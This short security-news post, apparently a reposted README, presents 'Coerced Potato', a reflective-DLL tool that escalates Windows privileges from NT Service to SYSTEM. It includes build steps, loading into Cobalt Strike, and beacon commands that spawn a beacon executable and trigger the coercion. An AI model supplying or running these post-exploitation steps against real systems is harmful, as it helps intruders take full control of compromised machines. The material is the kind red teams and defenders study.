Cyber security

Coerced Potato Reflective DLL – Unveiling Privilege Escalation From NT Service To SYSTEM

Privilege escalation from NT Service to SYSTEM using SeImpersonateToken privilege and MS-RPRN functions.

Heavily based

Reflective Loader from

Install

Clone this repo and compile the project in VisualStudio then load dist/coercedpotato.cna into CobaltStrike.

Usage

You first need to spawn the RPC listener with

beacon> CoercedPotato spawn ProcessToSpawn OptionalCmdArgument

for example

beacon> CoercedPotato spawn C:\Windows\Temp\beacon.exe
beacon> CoercedPotato spawn C:\Windows\Temp\loader.exe C:\Windows\Temp\beacon.bin

then you can trigger a SYSTEM call

beacon> CoercedPotato coerce
Varshini

Varshini is a Cyber Security expert in Threat Analysis, Vulnerability Assessment, and Research. Passionate about staying ahead of emerging Threats and Technologies.

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